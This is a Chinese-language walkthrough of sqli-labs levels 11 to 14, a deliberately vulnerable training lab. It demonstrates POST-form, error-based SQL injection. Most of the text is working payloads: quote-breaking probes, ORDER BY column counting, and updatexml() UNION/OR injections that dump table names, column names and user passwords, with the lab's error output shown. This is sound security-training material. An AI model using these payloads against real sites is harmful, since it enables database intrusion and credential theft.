热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sqlilabs11~14多命通关攻略(报错注入)

sqli-labs11~14多命通关攻略(报错注入)描述判断注入类型


sqli-labs 11~14 多命通关攻略(报错注入)



  • 描述

  • 判断注入类型





      • 返回结果





          • 错误输入

          • 总结









  • 符号





      • 注释





  • 判断返回结果中的列数





      • 判断返回结果中的列数为 1

      • 判断返回结果中的列数为 2





  • 报错注入





      • 通过报错注入爆破数据库中的表名

      • 通过报错注入爆破数据库中的表名(逻辑或)

      • 通过报错注入爆破表 users 中的列名





          • 偏移



            • 第一次偏移

            • 第二次偏移

            • 第三次偏移

            • 整合







      • 通过报错注入爆破表中的字段 password





  • 第十二关

  • 第十三关

  • 第十四关



描述





















项目描述
操作系统Windows 10 专业版
MySQL 版本MySQL 5.7.40
Apache 版本Apache 2.2.39

判断注入类型

返回结果


错误输入


  1. 请在 username 输入框中输入如下内容并点击 Submit

输入框

"

返回结果:

返回结果



  1. 请在 username 输入框中输入如下内容并点击 Submit

'

返回结果:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’ and password=‘’ LIMIT 0,1’ at line 1


存在错误返回信息,由错误信息我们可以推断该注入点存在 单引号字符型注入


总结

由于该关卡中会提示错误信息,所以我们可以通过报错注入来爆破数据库。


符号

由于该关卡需要通过 POST 请求来提交数据,所以我们不能像前面的关卡那样在 URL 中添加数据以通过构造 URL 来提交数据,所以也就不存在与 URL 相关的问题。


注释



  1. #

在输入框中,我们可以使用 # 来对 SQL 语句进行注释,点击 Submit 提交按钮将发送 POST 请求。所以此处的 # 并不会具有 # 直接出现在 URL 中的 锚点 的语义,可以直接使用而不用人为进行 URL 编码去除语义(在 URL 中需要通过使用 %23 来去除 # 在 URL 中的语义以正常使用 #)。



  1. —

使用该注释符号时,— 后必须要存在空格才能生效,发挥注释功能。在以往进行 GET 请求提交数据时,我们习惯在 — 后添加 + 来添加空格使该注释符号生效(在 URL 中,+ 与空格等价)。但在该关卡中,我们需要填写 HTML 表单并通过 POST 进行数据提交,因此 + 并不具有在 URL 中 空格 的语义。
输入框在提交数据(账号密码)时,往往会去除提交内容中头尾的空白字符(本关没有进行该处理,所以我们可以直接使用 “– ” 来对数据),所以我们可以使用 “— char” 来进行绕过。


判断返回结果中的列数

判断返回结果中的列数为 1

请在 username 输入框中输入如下内容并点击 Submit

1' order by 2-- q

回显区域中未显示任何内容

未显示任何内容


判断返回结果中的列数为 2

请在 username 输入框中输入如下内容并点击 Submit

1' order by 3-- q

返回结果:


Unknown column ‘3’ in ‘order clause’


由于在使用该语句出现了报错信息,所以可以判断返回结果中的列数为 2


报错注入

通过报错注入爆破数据库中的表名

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()), 0x7e), 1)#

返回结果:


XPATH syntax error: ‘~emails,referers,uagents,users~’



通过报错注入爆破数据库中的表名(逻辑或)

其实在前面我们可以不 判断返回结果中的列数 这一步操作的,我们可以通过逻辑或运算符 or 达到同样的效果。

请在 username 输入框中输入如下内容并点击 Submit

' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()), 0x7e), 1)#

请记住 慢即是快,少即是多。在练习过程中,我们可以多尝试使用更繁琐的操作来解决一件问题,这样往往可以在需要时使用更快捷的操作来将这件问题解决。


通过报错注入爆破表 users 中的列名

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 1)#

返回结果:


XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’


可以看到返回结果缺少(右边)我们通过 concat() 函数拼接的字符 ~。所以我们可以推断返回的结果由于网页设计的原因而显示不全。


偏移

我们将使用 substr() 截取函数来达到 “移动回显区域中文字的效果”。


第一次偏移

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 16, 32), 1)#

返回结果:


XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,’



第二次偏移

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 32, 32), 1)#

返回结果:


XPATH syntax error: ‘,id,username,passwor’



第三次偏移

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 48, 32), 1)#

返回结果:


XPATH syntax error: ‘,password~’


看到返回结果最右端的字符 ~,我们的偏移工作就已经完成了,接下来我们将对多次返回的结果进行整合。


整合

将多次偏移的结果及最开始得到的部分返回结果进行整合,我们可以得到完整的返回结果为:


XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password~’



通过报错注入爆破表中的字段 password

请在 username 输入框中输入如下内容并点击 Submit

' union select 1, updatexml(1, concat(0x7e, (select group_concat(password) from users), 0x7e), 1)-- q

返回结果:


XPATH syntax error: ‘~Dumb,I-kill-you,p@ssword,crappy’


可以看到返回结果缺少(右边)我们通过 concat() 函数拼接的字符 ~。所以我们可以推断返回的结果由于网页设计的原因而显示不全。

偏移及整合的操作在前面已经示范,所以此处获得完整的返回结果的任务就交给勤劳的各位了。


第十二关

请在 username 输入框中输入如下内容并点击 Submit

"

返回结果:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”“) and password=(””) LIMIT 0,1’ at line 1


该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 (“


第十三关

请在 username 输入框中输入如下内容并点击 Submit

'

返回结果:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’) and password=(‘’) LIMIT 0,1’ at line 1


该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 (‘


第十四关

请在 username 输入框中输入如下内容并点击 Submit

"

返回结果:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”” and password=“” LIMIT 0,1’ at line 1


该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 “



推荐阅读
  • Spark 贝叶斯分类算法
    一、贝叶斯定理数学基础我们都知道条件概率的数学公式形式为即B发生的条件下A发生的概率等于A和B同时发生的概率除以B发生的概率。根据此公式变换,得到贝叶斯公式:即贝叶斯定律是关于随机 ... [详细]
  • Java工作流引擎关于数据加密流程(MD5数据加密防篡改)
    关键字:驰骋工作流程快速开发平台工作流程管理系统工作流引擎asp.net工作流引擎java工作流引擎.开发者表单拖拽式表单工作流系统流程数据加密md5数据保密流程数据防篡改软加密适 ... [详细]
  • 这篇文章主要简要记录了对于研发团队工作的质量 ... [详细]
  • 两种方式实现Flink异步IO查询Mysql
    如官网所描述的Flink支持两种方式实现异步IO查询外部系统http ... [详细]
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • docker整体了解
    Docker是一个基于LXC技术构建的容器引擎,基于Go语言开发,遵循Apache2.0协议开源Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移 ... [详细]
  • ARToolKitunity
    ARToolKit为开源的AR库,相对于高通和easyAr有几点特点:1)开源2)识别项目可以动态添加(详细在后)3)识别文件可以本地生成4)目前只能识别图片(目前为.jpg格式) ... [详细]
  • 【实践】基于RTThread的智慧路灯案例实验分享
    之前分享了基于LiteOS的智慧农业案例实验分享基于LiteOS的智慧农业案例实验分享,阅读量挺不错,看样子大家都挺喜欢这种实验。那咱们就再来一个类似的实验:基于RT-Thread ... [详细]
  • ASP.NET Core WebAPI 开发新建WebAPI项目  转
    转 http:www.cnblogs.comlinezerop5497472.htmlASP.NETCoreWebAPI开发-新建WebAPI项目ASP.NETCoreWebAPI ... [详细]
  • 步骤一:明确主打的核心目标用户群(对应产品侧的定位)这个核心目标用户群体是该产品成功挤进市场的切入点,甚至是撬动市场的支点和撬杠。市面上几乎很少有产品是专门给一个群体用而对其他群体 ... [详细]
  • npmimportuse这里我记录一下,视频地址和封面地址均引用的是服务器端得,本地的视频和图片 ... [详细]
  • 1.数据准备#测试数组vectorc(5,34,65,36,67,3,6,43,69,59,25,785,10,11,14)vector##[1]53465366736436959 ... [详细]
  • webpack 配置IP 和端口号
    最近在用webpack搭建本地服务器的时候,因为不想总是用localhost来跑,所以对webpack.config.js进行了配置,如下devServer:{publicPath ... [详细]
  • Adapter相当于C(Controller,控制器),listView相当于V(View,视图)用于显示数据为ListView提供数据的List,数组或数据库相当于MVC模式中的 ... [详细]
  • 导读:很多朋友问到关于入门学什么php框架简单的相关问题,本文编程笔记就来为大家做个详细解答,供大家参考,希望对大家有所帮助!一起来看看吧!本文目录一览: ... [详细]
author-avatar
我的老公是个兵
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有